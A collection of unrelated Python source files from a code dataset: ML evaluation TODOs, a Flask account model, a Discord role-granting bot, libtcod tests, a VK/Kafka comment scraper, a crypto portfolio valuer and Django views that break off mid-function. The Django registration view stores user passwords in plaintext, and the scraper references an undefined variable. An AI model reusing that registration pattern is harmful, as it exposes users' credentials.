save=\"model-cmp.png\",\n)\n\"\"\"\nResults should be something like:\n\nSGDClassifier:\n Vali-Acc: 0.84\n Vali-AUC: 0.879\nPerceptron:\n Vali-Acc: 0.815\n Vali-AUC: 0.844\nLogisticRegression:\n Vali-Acc: 0.788\n Vali-AUC: 0.88\nDTree:\n Vali-Acc: 0.739\n Vali-AUC: 0.71\n\"\"\"\nTODO(\"2. Explore why DecisionTrees are not beating linear models. Answer one of:\")\nTODO(\"2.A. Is it a bad depth?\")\nTODO(\"2.B. Do Random Forests do better?\")\nTODO(\n \"2.C. Is it randomness? Use simple_boxplot and bootstrap_auc/bootstrap_acc to see if the differences are meaningful!\"\n # No, it is not randomness. The DecisionTree model(s) are not doing as well as the other models.\n)\nTODO(\"2.D. Is it randomness? Control for random_state parameters!\")\n","sub_path":"p05-join.py","file_name":"p05-join.py","file_ext":"py","file_size_in_byte":6345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"284698811","text":"from db import db\n\n\nclass AccountModel(db.Model):\n __tablename__ = 'account'\n\n account_id = db.Column(db.Integer, primary_key=True)\n user_id = db.Column(db.Integer, db.ForeignKey('users.user_id'), nullable=False)\n user = db.relationship('UserModel')\n balance = db.Column(db.Float(precision=2))\n name = db.Column(db.String(80))\n currency = db.Column(db.String(6))\n\n def __init__(self, user_id, name, balance, currency, account_id):\n self.user_id = user_id\n self.name = name\n self.balance = balance\n self.currency = currency\n self.account_id = account_id\n\n @classmethod\n def find_by_id(cls, _id):\n return cls.query.filter_by(account_id=_id).first()\n\n def save_to_db(self):\n db.session.add(self)\n db.session.commit()\n\n def update_to_db(self):\n account_to_update = AccountModel.find_by_id(self.account_id)\n if self.name is not None:\n account_to_update.name = self.name\n if self.currency is not None:\n account_to_update.currency = self.currency\n if self.balance is not None:\n account_to_update.balance = self.balance\n\n account_to_update.save_to_db()\n\n @classmethod\n def get_by_user_id(cls, user_id):\n return cls.query.filter_by(user_id=user_id).all()\n\n @classmethod\n def is_account_owner(cls, user_id, account_id):\n if cls.query.filter_by(user_id=user_id, account_id=account_id).first():\n return True\n else:\n return False\n\n def json(self):\n return {'account_id': self.account_id,\n 'user_id': self.user_id,\n 'balance': self.balance,\n 'name': self.name,\n 'currency': self.currency}\n","sub_path":"models/account.py","file_name":"account.py","file_ext":"py","file_size_in_byte":1760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"236041448","text":"import discord\r\nimport os\r\nimport gspread\r\n\r\n\r\n# 鯖\r\nGUILD_ID = 792782781674684438\r\n# ロール\r\nROLE_ID = 792788707228123187\r\n\r\n\r\n# Spread Sheet\r\ngc = gspread.oauth()\r\n\r\nsh = gc.open_by_key(\"1QJmehI1eJDcYUAlDVulUe_P-gez_Xd6S5en0jk0A4B0\")\r\nws = sh.worksheet('ユーザー')\r\n\r\n\r\n# Discord\r\nclient = discord.Client()\r\n\r\n\r\n@client.event\r\nasync def on_ready():\r\n print('ログインしました')\r\n\r\n selectorB = f'B3:B{ws.row_count}'\r\n\r\n sample = ws.range(selectorB)\r\n sa_count = max([cell.row for cell in sample if cell.value])\r\n sh_count = sa_count - 2\r\n\r\n selectorO = f'O3:O{sa_count}'\r\n selectorS = f'S3:S{sa_count}'\r\n\r\n users = ws.batch_get([selectorO, selectorS])\r\n\r\n guild: discord.Guild = await client.fetch_guild(GUILD_ID)\r\n role = guild.get_role(ROLE_ID)\r\n\r\n for i in range(sh_count):\r\n if users[1][i] and users[1][i][0]:\r\n user_discord = users[0][i][0]\r\n\r\n member: discord.Member = await guild.fetch_member(user_discord)\r\n await member.add_roles(role, reason='二次選考通過')\r\n print(f'{member.display_name} にロールを付与した')\r\n\r\n print('完了')\r\n exit(0)\r\n\r\n\r\nclient.run(os.environ[\"DISCORD_TOKEN\"])\r\n","sub_path":"discord_grant_lv2_2.py","file_name":"discord_grant_lv2_2.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"555316218","text":"#!/usr/bin/env python\n\nimport shutil\nimport unittest\nimport tempfile\n\ntry:\n import numpy\nexcept ImportError:\n numpy = None\n\nfrom common import tcod\nfrom common import needs_window\n\n@needs_window\nclass TestLibtcodpyConsole(unittest.TestCase):\n\n FONT_FILE = 'libtcod/terminal.png'\n WIDTH = 12\n HEIGHT = 12\n TITLE = 'libtcod-cffi tests'\n FULLSCREEN = False\n RENDERER = tcod.RENDERER_SDL\n\n @classmethod\n def setUpClass(cls):\n cls.temp_dir = tempfile.mkdtemp()\n tcod.console_set_custom_font(cls.FONT_FILE)\n cls.console = tcod.console_init_root(cls.WIDTH, cls.HEIGHT,\n cls.TITLE, cls.FULLSCREEN,\n cls.RENDERER)\n\n @classmethod\n def tearDownClass(cls):\n shutil.rmtree(cls.temp_dir)\n tcod.console_delete(cls.console)\n\n def setUp(self):\n tcod.console_clear(self.console)\n self.pad = tcod.console_new(self.WIDTH, self.HEIGHT)\n\n def tearDown(self):\n tcod.console_flush()\n tcod.console_delete(self.pad)\n\n def test_console_info(self):\n self.assertEqual(tcod.console_get_width(self.console), self.WIDTH)\n self.assertEqual(tcod.console_get_height(self.console), self.HEIGHT)\n self.assertEqual(tcod.console_is_fullscreen(), self.FULLSCREEN)\n tcod.console_set_window_title(self.TITLE)\n tcod.console_is_window_closed()\n\n @unittest.skip('takes too long')\n def test_credits_long(self):\n tcod.console_credits()\n\n def test_credits(self):\n tcod.console_credits_render(0, 0, True)\n tcod.console_credits_reset()\n\n FG = (0, 255, 255)\n BG = (64, 0, 0)\n\n def test_console_defaults(self):\n # defaults\n tcod.console_set_default_background(self.console, self.BG)\n tcod.console_set_default_foreground(self.console, self.FG)\n tcod.console_clear(self.console)\n\n def test_console_character_drawing(self):\n tcod.console_set_char_background(self.console, 0, 0,\n self.BG, tcod.BKGND_SET)\n tcod.console_set_char_foreground(self.console, 0, 0, self.FG)\n tcod.console_set_char(self.console, 0, 0, '@')\n tcod.console_put_char(self.console, 0, 0, '$', tcod.BKGND_SET)\n tcod.console_put_char_ex(self.console, 0, 0, '$',\n self.FG, self.BG)\n\n def test_console_printing(self):\n tcod.console_set_background_flag(self.console, tcod.BKGND_SET)\n self.assertEquals(tcod.console_get_background_flag(self.console),\n tcod.BKGND_SET)\n\n tcod.console_set_alignment(self.console, tcod.LEFT)\n self.assertEquals(tcod.console_get_alignment(self.console), tcod.LEFT)\n\n tcod.console_print(self.console, 0, 0, 'print')\n tcod.console_print_ex(self.console, 0, 0, tcod.BKGND_SET, tcod.LEFT,\n 'print ex')\n\n self.assertIsInstance(tcod.console_print_rect(self.console, 0, 0, 8, 8,\n 'print rect'), int)\n self.assertIsInstance(\n tcod.console_print_rect_ex(self.console, 0, 0, 8, 8,\n tcod.BKGND_SET, tcod.LEFT, 'print rect ex'), int)\n\n self.assertIsInstance(tcod.console_get_height_rect(self.console,\n 0, 0, 8, 8,\n 'get height'), int)\n\n tcod.console_set_color_control(tcod.COLCTRL_1, self.FG, self.BG)\n\n def test_console_printing_advanced(self):\n tcod.console_rect(self.console, 0, 0, 4, 4, False, tcod.BKGND_SET)\n tcod.console_hline(self.console, 0, 0, 4)\n tcod.console_vline(self.console, 0, 0, 4)\n tcod.console_print_frame(self.console, 0, 0, 11, 11)\n\n def test_console_contents(self):\n self.assertIsInstance(tcod.console_get_default_background(self.console),\n tcod.Color)\n self.assertIsInstance(tcod.console_get_default_foreground(self.console),\n tcod.Color)\n\n tcod.console_get_char_background(self.console, 0, 0)\n tcod.console_get_char_foreground(self.console, 0, 0)\n tcod.console_get_char(self.console, 0, 0)\n\n def test_console_fade(self):\n tcod.console_set_fade(255, (0, 0, 0))\n self.assertIsInstance(tcod.console_get_fade(), int)\n tcod.console_get_fading_color()\n\n def assertConsolesEqual(self, a, b):\n for y in range(tcod.console_get_height(a)):\n for x in range(tcod.console_get_width(a)):\n self.assertEquals(tcod.console_get_char_background(a, x, y),\n tcod.console_get_char_background(b, x, y))\n self.assertEquals(tcod.console_get_char_foreground(a, x, y),\n tcod.console_get_char_foreground(b, x, y))\n self.assertEquals(tcod.console_get_char(a, x, y),\n tcod.console_get_char(b, x, y))\n\n\n def test_console_blit(self):\n tcod.console_print(self.pad, 0, 0, 'test')\n tcod.console_blit(self.pad, 0, 0, 0, 0, self.console, 0, 0, 1, 1)\n self.assertConsolesEqual(self.console, self.pad)\n tcod.console_set_key_color(self.pad, (0, 0, 0))\n\n def test_console_asc_read_write(self):\n tcod.console_print(self.console, 0, 0, 'test')\n\n asc_file = tempfile.mktemp(dir=self.temp_dir)\n print(asc_file)\n tcod.console_save_asc(self.console, asc_file)\n self.assertTrue(tcod.console_load_asc(self.pad, asc_file))\n self.assertConsolesEqual(self.console, self.pad)\n\n def test_console_apf_read_write(self):\n tcod.console_print(self.console, 0, 0, 'test')\n\n apf_file = tempfile.mktemp(dir=self.temp_dir)\n tcod.console_save_apf(self.console, apf_file)\n self.assertTrue(tcod.console_load_apf(self.pad, apf_file))\n self.assertConsolesEqual(self.console, self.pad)\n\n def test_console_fullscreen(self):\n tcod.console_set_fullscreen(False)\n\n def test_console_key_input(self):\n self.assertIsInstance(tcod.console_check_for_keypress(), tcod.Key)\n tcod.console_is_key_pressed(tcod.KEY_ENTER)\n\n def test_console_fill_errors(self):\n with self.assertRaises(TypeError):\n tcod.console_fill_background(self.console, [0], [], [])\n with self.assertRaises(TypeError):\n tcod.console_fill_foreground(self.console, [0], [], [])\n\n def test_console_fill(self):\n fill = [0] * self.HEIGHT * self.WIDTH\n tcod.console_fill_background(self.console, fill, fill, fill)\n tcod.console_fill_foreground(self.console, fill, fill, fill)\n tcod.console_fill_char(self.console, fill)\n\n @unittest.skipUnless(numpy, 'requires numpy module')\n def test_console_fill_numpy(self):\n fill = numpy.zeros((self.WIDTH, self.HEIGHT), dtype=numpy.intc)\n tcod.console_fill_background(self.console, fill, fill, fill)\n tcod.console_fill_foreground(self.console, fill, fill, fill)\n tcod.console_fill_char(self.console, fill)\n\n def test_console_buffer(self):\n buffer = tcod.ConsoleBuffer(self.WIDTH, self.HEIGHT)\n buffer = buffer.copy()\n buffer.set_fore(0, 0, 0, 0, 0, '@')\n buffer.set_back(0, 0, 0, 0, 0)\n buffer.set(0, 0, 0, 0, 0, 0, 0, 0, '@')\n buffer.blit(self.console)\n\n def test_console_buffer_error(self):\n buffer = tcod.ConsoleBuffer(0, 0)\n with self.assertRaises(ValueError):\n buffer.blit(self.console)\n\n def test_console_font_mapping(self):\n tcod.console_map_ascii_code_to_font('@', 0, 0)\n tcod.console_map_ascii_codes_to_font('@', 1, 0, 0)\n tcod.console_map_string_to_font('@', 0, 0)\n\n def test_mouse(self):\n tcod.mouse_show_cursor(True)\n tcod.mouse_is_cursor_visible()\n mouse = tcod.mouse_get_status()\n print(mouse)\n tcod.mouse_move(0, 0)\n\n def test_sys_time(self):\n tcod.sys_set_fps(0)\n self.assertIsInstance(tcod.sys_get_fps(), int)\n self.assertIsInstance(tcod.sys_get_last_frame_length(), float)\n tcod.sys_sleep_milli(0)\n tcod.sys_elapsed_milli()\n self.assertIsInstance(tcod.sys_elapsed_seconds(), float)\n\n def test_sys_screenshot(self):\n tcod.sys_save_screenshot(tempfile.mktemp(dir=self.temp_dir))\n\n def test_sys_custom_render(self):\n escape = []\n def sdl_callback(sdl_surface):\n escape.append(True)\n tcod.console_set_dirty(0, 0, 0, 0)\n tcod.sys_register_SDL_renderer(sdl_callback)\n tcod.console_flush()\n self.assertTrue(escape, 'proof that sdl_callback was called')\n\n def test_sys_other(self):\n tcod.sys_get_current_resolution()\n tcod.sys_get_char_size()\n tcod.sys_set_renderer(self.RENDERER)\n tcod.sys_get_renderer()\n\n def test_image(self):\n img = tcod.image_new(16, 16)\n tcod.image_clear(img, (0, 0, 0))\n tcod.image_invert(img)\n tcod.image_hflip(img)\n tcod.image_rotate90(img)\n tcod.image_vflip(img)\n tcod.image_scale(img, 24, 24)\n tcod.image_set_key_color(img, (255, 255, 255))\n tcod.image_get_alpha(img, 0, 0)\n tcod.image_is_pixel_transparent(img, 0, 0)\n tcod.image_get_size(img)\n tcod.image_get_pixel(img, 0, 0)\n tcod.image_get_mipmap_pixel(img, 0, 0, 1, 1)\n tcod.image_put_pixel(img, 0, 0, (255, 255, 255))\n tcod.image_blit(img, self.console, 0, 0, tcod.BKGND_SET, 1, 1, 0)\n tcod.image_blit_rect(img, self.console, 0, 0, 16, 16, tcod.BKGND_SET)\n tcod.image_blit_2x(img, self.console, 0, 0)\n tcod.image_save(img, tempfile.mktemp(dir=self.temp_dir))\n tcod.image_delete(img)\n\n img = tcod.image_from_console(self.console)\n tcod.image_refresh_console(img, self.console)\n tcod.image_delete(img)\n\n tcod.image_delete(tcod.image_load('libtcod/data/img/circle.png'))\n\n\nclass TestLibtcodpy(unittest.TestCase):\n # arguments to test with and the results expected from these arguments\n LINE_ARGS = (-5, 0, 5, 10)\n EXCLUSIVE_RESULTS = [(-4, 1), (-3, 2), (-2, 3), (-1, 4), (0, 5), (1, 6),\n (2, 7), (3, 8), (4, 9), (5, 10)]\n INCLUSIVE_RESULTS = [(-5, 0)] + EXCLUSIVE_RESULTS\n\n def test_line_step(self):\n \"\"\"\n tcod.line_init and tcod.line_step\n \"\"\"\n tcod.line_init(*self.LINE_ARGS)\n for expected_xy in self.EXCLUSIVE_RESULTS:\n self.assertEqual(tcod.line_step(), expected_xy)\n self.assertEqual(tcod.line_step(), (None, None))\n\n def test_line(self):\n \"\"\"\n tests normal use, lazy evaluation, and error propagation\n \"\"\"\n # test normal results\n test_result = []\n def line_test(*test_xy):\n test_result.append(test_xy)\n return 1\n self.assertEqual(tcod.line(*self.LINE_ARGS,\n py_callback=line_test), 1)\n self.assertEqual(test_result, self.INCLUSIVE_RESULTS)\n\n # test lazy evaluation\n test_result = []\n def return_false(*test_xy):\n test_result.append(test_xy)\n return False\n self.assertEqual(tcod.line(*self.LINE_ARGS,\n py_callback=return_false), 0)\n self.assertEqual(test_result, self.INCLUSIVE_RESULTS[:1])\n\n def test_line_iter(self):\n \"\"\"\n tcod.line_iter\n \"\"\"\n self.assertEqual(list(tcod.line_iter(*self.LINE_ARGS)),\n self.EXCLUSIVE_RESULTS)\n\n def test_bsp(self):\n \"\"\"\n cover bsp deprecated functions\n \"\"\"\n bsp = tcod.bsp_new_with_size(0, 0, 64, 64)\n print(bsp) # test __repr__ on leaf\n tcod.bsp_resize(bsp, 0, 0, 32, 32)\n self.assertNotEqual(bsp, None)\n\n # test getter/setters\n bsp.x = bsp.x\n bsp.y = bsp.y\n bsp.w = bsp.w\n bsp.h = bsp.h\n bsp.position = bsp.position\n bsp.horizontal = bsp.horizontal\n bsp.level = bsp.level\n\n # cover functions on leaf\n self.assertFalse(tcod.bsp_left(bsp))\n self.assertFalse(tcod.bsp_right(bsp))\n self.assertFalse(tcod.bsp_father(bsp))\n self.assertTrue(tcod.bsp_is_leaf(bsp))\n\n self.assertTrue(tcod.bsp_contains(bsp, 1, 1))\n self.assertFalse(tcod.bsp_contains(bsp, -1, -1))\n self.assertEqual(tcod.bsp_find_node(bsp, 1, 1), bsp)\n self.assertFalse(tcod.bsp_find_node(bsp, -1, -1))\n\n tcod.bsp_split_once(bsp, False, 4)\n print(bsp) # test __repr__ with parent\n tcod.bsp_split_once(bsp, True, 4)\n print(bsp)\n\n # cover functions on parent\n self.assertTrue(tcod.bsp_left(bsp))\n self.assertTrue(tcod.bsp_right(bsp))\n self.assertFalse(tcod.bsp_father(bsp))\n self.assertFalse(tcod.bsp_is_leaf(bsp))\n self.assertEqual(tcod.bsp_father(tcod.bsp_left(bsp)), bsp)\n self.assertEqual(tcod.bsp_father(tcod.bsp_right(bsp)), bsp)\n\n tcod.bsp_split_recursive(bsp, None, 4, 2, 2, 1.0, 1.0)\n\n # cover bsp_traverse\n def traverse(node, user_data):\n return True\n\n tcod.bsp_traverse_pre_order(bsp, traverse)\n tcod.bsp_traverse_in_order(bsp, traverse)\n tcod.bsp_traverse_post_order(bsp, traverse)\n tcod.bsp_traverse_level_order(bsp, traverse)\n tcod.bsp_traverse_inverted_level_order(bsp, traverse)\n\n # test __repr__ on deleted node\n son = tcod.bsp_left(bsp)\n tcod.bsp_remove_sons(bsp)\n print(son)\n\n tcod.bsp_delete(bsp)\n\n def test_map(self):\n map = tcod.map_new(16, 16)\n self.assertEqual(tcod.map_get_width(map), 16)\n self.assertEqual(tcod.map_get_height(map), 16)\n tcod.map_copy(map, map)\n tcod.map_clear(map)\n tcod.map_set_properties(map, 0, 0, True, True)\n self.assertEqual(tcod.map_is_transparent(map, 0, 0), True)\n self.assertEqual(tcod.map_is_walkable(map, 0, 0), True)\n tcod.map_is_in_fov(map, 0, 0)\n tcod.map_delete(map)\n\n def test_color(self):\n color = tcod.color_lerp([0,0,0], [255,255,255], 0.5)\n tcod.color_set_hsv(color, 0, 0, 0)\n tcod.color_get_hsv(color)\n tcod.color_scale_HSV(color, 0, 0)\n\n def test_color_gen_map(self):\n colors = tcod.color_gen_map([(0, 0, 0), (255, 255, 255)], [0, 8])\n print(colors)\n self.assertEquals(colors[0], tcod.Color(0, 0, 0))\n self.assertEquals(colors[-1], tcod.Color(255, 255, 255))\n\n def test_namegen_parse(self):\n tcod.namegen_parse('libtcod/data/namegen/jice_celtic.cfg')\n self.assertTrue(tcod.namegen_generate('Celtic female'))\n self.assertTrue(tcod.namegen_get_sets())\n tcod.namegen_destroy()\n\n def test_noise(self):\n noise = tcod.noise_new(1)\n tcod.noise_set_type(noise, tcod.NOISE_SIMPLEX)\n self.assertIsInstance(tcod.noise_get(noise, [0]), float)\n self.assertIsInstance(tcod.noise_get_fbm(noise, [0], 4), float)\n self.assertIsInstance(tcod.noise_get_turbulence(noise, [0], 4), float)\n tcod.noise_delete(noise)\n\n def test_random(self):\n rand = tcod.random_get_instance()\n rand = tcod.random_new()\n tcod.random_delete(rand)\n rand = tcod.random_new_from_seed(42)\n tcod.random_set_distribution(rand, tcod.DISTRIBUTION_LINEAR)\n self.assertIsInstance(tcod.random_get_int(rand, 0, 1), int)\n self.assertIsInstance(tcod.random_get_int_mean(rand, 0, 1, 0), int)\n self.assertIsInstance(tcod.random_get_float(rand, 0, 1), float)\n self.assertIsInstance(tcod.random_get_double(rand, 0, 1), float)\n self.assertIsInstance(tcod.random_get_float_mean(rand, 0, 1, 0), float)\n self.assertIsInstance(tcod.random_get_double_mean(rand, 0, 1, 0), float)\n\n backup = tcod.random_save(rand)\n tcod.random_restore(rand, backup)\n\n tcod.random_delete(rand)\n tcod.random_delete(backup)\n\n def test_heightmap(self):\n hmap = tcod.heightmap_new(16, 16)\n print(hmap)\n noise = tcod.noise_new(2)\n\n # basic operations\n tcod.heightmap_set_value(hmap, 0, 0, 1)\n tcod.heightmap_add(hmap, 1)\n tcod.heightmap_scale(hmap, 1)\n tcod.heightmap_clear(hmap)\n tcod.heightmap_clamp(hmap, 0, 0)\n tcod.heightmap_copy(hmap, hmap)\n tcod.heightmap_normalize(hmap)\n tcod.heightmap_lerp_hm(hmap, hmap, hmap, 0)\n tcod.heightmap_add_hm(hmap, hmap, hmap)\n tcod.heightmap_multiply_hm(hmap, hmap, hmap)\n\n # modifying the heightmap\n tcod.heightmap_add_hill(hmap, 0, 0, 4, 1)\n tcod.heightmap_dig_hill(hmap, 0, 0, 4, 1)\n tcod.heightmap_rain_erosion(hmap, 1, 1, 1)\n tcod.heightmap_kernel_transform(hmap, 3, [-1, 1, 0], [0, 0, 0],\n [.33, .33, .33], 0, 1)\n tcod.heightmap_add_voronoi(hmap, 10, 3, [1,3,5])\n tcod.heightmap_add_fbm(hmap, noise, 1, 1, 1, 1, 4, 1, 1)\n tcod.heightmap_scale_fbm(hmap, noise, 1, 1, 1, 1, 4, 1, 1)\n tcod.heightmap_dig_bezier(hmap, [0, 16, 16, 0], [0, 0, 16, 16],\n 1, 1, 1, 1)\n\n # read data\n self.assertIsInstance(tcod.heightmap_get_value(hmap, 0, 0), float)\n self.assertIsInstance(tcod.heightmap_get_interpolated_value(hmap, 0, 0)\n , float)\n self.assertIsInstance(tcod.heightmap_get_slope(hmap, 0, 0), float)\n tcod.heightmap_get_normal(hmap, 0, 0, 0)\n self.assertIsInstance(tcod.heightmap_count_cells(hmap, 0, 0), int)\n tcod.heightmap_has_land_on_border(hmap, 0)\n tcod.heightmap_get_minmax(hmap)\n\n tcod.noise_delete(noise)\n tcod.heightmap_delete(hmap)\n\nclass TestLibtcodpyMap(unittest.TestCase):\n\n MAP = (\n '############',\n '# ### #',\n '# ### #',\n '# ### ####',\n '## #### # ##',\n '## ####',\n '############',\n )\n\n WIDTH = len(MAP[0])\n HEIGHT = len(MAP)\n\n POINT_A = (2, 2)\n POINT_B = (9, 2)\n POINT_C = (9, 4)\n\n POINTS_AB = POINT_A + POINT_B\n POINTS_AC = POINT_A + POINT_C\n\n def setUp(self):\n self.map = tcod.map_new(self.WIDTH, self.HEIGHT)\n for y, line in enumerate(self.MAP):\n for x, ch in enumerate(line):\n tcod.map_set_properties(self.map, x, y, ch == ' ', ch == ' ')\n\n def tearDown(self):\n tcod.map_delete(self.map)\n\n def path_callback(self, ox, oy, dx, dy, user_data):\n if tcod.map_is_walkable(self.map, dx, dy):\n return 1\n return 0\n\n def test_map_fov(self):\n tcod.map_compute_fov(self.map, *self.POINT_A)\n\n def test_astar(self):\n astar = tcod.path_new_using_map(self.map)\n\n self.assertFalse(tcod.path_compute(astar, *self.POINTS_AC))\n self.assertEquals(tcod.path_size(astar), 0)\n self.assertTrue(tcod.path_compute(astar, *self.POINTS_AB))\n self.assertEquals(tcod.path_get_origin(astar), self.POINT_A)\n self.assertEquals(tcod.path_get_destination(astar), self.POINT_B)\n tcod.path_reverse(astar)\n self.assertEquals(tcod.path_get_origin(astar), self.POINT_B)\n self.assertEquals(tcod.path_get_destination(astar), self.POINT_A)\n\n self.assertNotEquals(tcod.path_size(astar), 0)\n self.assertIsInstance(tcod.path_size(astar), int)\n self.assertFalse(tcod.path_is_empty(astar))\n\n for i in range(tcod.path_size(astar)):\n x, y = tcod.path_get(astar, i)\n self.assertIsInstance(x, int)\n self.assertIsInstance(y, int)\n\n while (x, y) != (None, None):\n x, y = tcod.path_walk(astar, False)\n\n tcod.path_delete(astar)\n\n def test_astar_callback(self):\n astar = tcod.path_new_using_function(self.WIDTH, self.HEIGHT,\n self.path_callback)\n tcod.path_compute(astar, *self.POINTS_AB)\n tcod.path_delete(astar)\n\n def test_dijkstra(self):\n path = tcod.dijkstra_new(self.map)\n\n tcod.dijkstra_compute(path, *self.POINT_A)\n\n self.assertFalse(tcod.dijkstra_path_set(path, *self.POINT_C))\n self.assertEquals(tcod.dijkstra_get_distance(path, *self.POINT_C), -1)\n\n self.assertTrue(tcod.dijkstra_path_set(path, *self.POINT_B))\n self.assertTrue(tcod.dijkstra_size(path))\n self.assertFalse(tcod.dijkstra_is_empty(path))\n\n tcod.dijkstra_reverse(path)\n\n for i in range(tcod.dijkstra_size(path)):\n x, y = tcod.dijkstra_get(path, i)\n self.assertIsInstance(x, int)\n self.assertIsInstance(y, int)\n\n while (x, y) != (None, None):\n x, y = tcod.dijkstra_path_walk(path)\n\n tcod.dijkstra_delete(path)\n\n def test_dijkstra_callback(self):\n path = tcod.dijkstra_new_using_function(self.WIDTH, self.HEIGHT,\n self.path_callback)\n tcod.dijkstra_compute(path, *self.POINT_A)\n tcod.dijkstra_delete(path)\n","sub_path":"tests/test_libtcodpy.py","file_name":"test_libtcodpy.py","file_ext":"py","file_size_in_byte":21237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"518298591","text":"import json\nimport re\nimport time\n\nfrom kafka import KafkaConsumer\nfrom kafka.producer.kafka import KafkaProducer\n\nfrom collector.extraction import get_comment_data_list\nfrom common.utils import get_vk_api\nfrom kafka.config import kafka_config\n\nGROUP_REGEX = r'^https://vk.com/(.+)'\nMAX_COUNT = 100\nMAX_OFFSET = 1000\n\n\ndef main():\n consumer = KafkaConsumer(\n kafka_config.link_topic,\n bootstrap_servers=kafka_config.bootstrap_server,\n value_deserializer=bytes.decode\n )\n\n producer = KafkaProducer(\n bootstrap_servers=kafka_config.bootstrap_server,\n value_serializer=lambda v: json.dumps(v).encode(\"utf-8\"),\n )\n\n vk_api = get_vk_api()\n\n for message in consumer:\n group_link = message.value\n match = re.match(GROUP_REGEX, group_link)\n group_domain = match.group(1)\n\n try:\n group_object = vk_api.utils.resolveScreenName(screen_name=group_domain)\n except:\n continue\n if len(group_object) == 0:\n continue\n\n group_id = group_object['object_id']\n for post_offset in range(0, MAX_OFFSET, MAX_COUNT):\n try:\n post_items = \\\n vk_api.wall.get(owner_id=-group_id, offset=post_offset, count=MAX_COUNT, filter='owner')[\n 'items']\n except:\n continue\n post_ids = map(lambda item: item['id'], post_items)\n\n for post_id in post_ids:\n for comment_offset in range(0, MAX_OFFSET, MAX_COUNT):\n try:\n comment_items = \\\n vk_api.wall.getComments(owner_id=-group_id, post_id=post_id, offset=comment_offset,\n count=MAX_COUNT)['items']\n except:\n continue\n politician_item_ids = filter(\n lambda item: item.get('from_id') is not None and item.get('from_id') not in bot_ids,\n comment_items)\n comment_ids = map(lambda item: item['id'], politician_item_ids)\n\n for comment_id in comment_ids:\n data_list = get_comment_data_list(vk_api, -group_id, comment_id, False)\n if data_list is None:\n continue\n\n producer.send(kafka_config.net_output_topic, value=data_list)\n\n time.sleep(2)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"loader/loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":2524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"49579940","text":"disciplinas = [\"matemática\", \"fisica\", \"quimica\",\n \"computacao\", \"quimica\", \"biologia\",\n \"computacao\"] # Criar uma list\nprint(type(disciplinas))\n\n# Criar um set\ngrade = set(disciplinas)\n\n# Imprimir o tipo da estrutura de dados\ntype(grade)\n\n# Imprimir grade\nprint(grade)\n","sub_path":"Prandiano_Python I/02_estruturas_de_dados/2.6.2.2_metodo_set.py","file_name":"2.6.2.2_metodo_set.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"631925809","text":"import requests\nimport json\nimport pybitflyer\nfrom binance.client import Client\n\n\ndef binance(api_key, api_key_secret):\n output_dict = {}\n fiat_values = {}\n try:\n api = pybitflyer.API()\n rate = api.ticker(product_code=\"btc_jpy\")\n rate = rate['best_bid']\n\n client = Client(api_key, api_key_secret)\n prices = client.get_all_tickers()\n prices = {x['symbol']:float(x['price']) for x in prices if x['symbol'].count(\"BTC\")}\n\n order_account = client.get_account()\n input_dict = order_account.get(\"balances\")\n output_dict = {x['asset']:float(x['free']) for x in input_dict if round(float(x['free']), 8) != 0.00000000}\n\n for x_key, x_value in output_dict.items():\n if x_key == \"JPY\":\n fiat_values[x_key] = x_value\n elif x_key == \"BTC\":\n fiat_values[x_key] = x_value * rate\n else:\n for y_key, y_value in prices.items():\n if y_key.count(x_key):\n new_value = x_value * y_value\n fiat_values[x_key] = new_value * rate\n\n return [output_dict,fiat_values]\n\n except:\n return [output_dict,fiat_values]\n","sub_path":"markets/binance.py","file_name":"binance.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"521990400","text":"from django.contrib.auth import authenticate, login, logout\nfrom django.shortcuts import render\nfrom rest_framework import status\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom ctr.models import Record, User\nfrom ctr.serializers import RecordSerializer, UserSerializer\n\n\nclass RegisterView(APIView):\n def post(self, request):\n user = User()\n user.username = request.POST['username']\n user.password = request.POST['password']\n user.save()\n return Response(1, status=status.HTTP_200_OK)\n\n\nclass LoginView(APIView):\n def post(self, request):\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(username=username, password=password)\n if user is not None:\n login(request, user)\n return Response(1, status=status.HTTP_200_OK)\n else:\n return Response(0, status=status.HTTP_401_UNAUTHORIZED)\n\n\nclass UserView(APIView):\n \"\"\"\n 用户系统\n \"\"\"\n\n def get(self, request):\n if request.user.is_authenticated:\n user = User.objects.get(pk=request.user.id)\n serializer = UserSerializer(user, many=True)\n return Response(serializer.data, status=status.HTTP_200_OK)\n else:\n return Response(status=status.HTTP_401_UNAUTHORIZED)\n\n\nclass RecordView(APIView):\n \"\"\"\n 游戏记录\n \"\"\"\n def update_cache_records(self, request):\n\n while len(request.session['records']) > 0:\n recordId = request.session['records'].pop(0)\n record = Record.objects.get(pk=recordId)\n record.user = request.user\n record.save()\n del request.session['records']\n request.session.save()\n\n def post(self, request):\n \"\"\"\n 创建一条新的记录\n :param request: \"level\": int 记录对应游戏的等级 \"score\": int 记录对应的游戏分数\n :return:\n \"\"\"\n\n record = Record()\n record.game = request.data['game']\n record.score = request.data['score']\n record.group = request.data['group']\n if request.user.is_authenticated:\n record.user = request.user\n record.save()\n\n if request.user.is_authenticated:\n if 'records' in request.session:\n self.update_cache_records(request=request)\n else:\n if 'records' in request.session:\n request.session['records'].append(record.id)\n request.session.save()\n else:\n request.session['records'] = [record.id]\n request.session.save()\n\n return Response(1, status=status.HTTP_200_OK)\n\n\n def get(self, request):\n \"\"\"\n 查看记录\n :param request: \"pk\" int 查看指定pk的记录, 不指定返回所有记录\n :return:\n \"\"\"\n if request.user.is_authenticated:\n if 'pk' in request.GET:\n pk = request.GET.get('pk')\n record = Record.objects.filter(id=pk, user=request.user.id)\n if record != None:\n 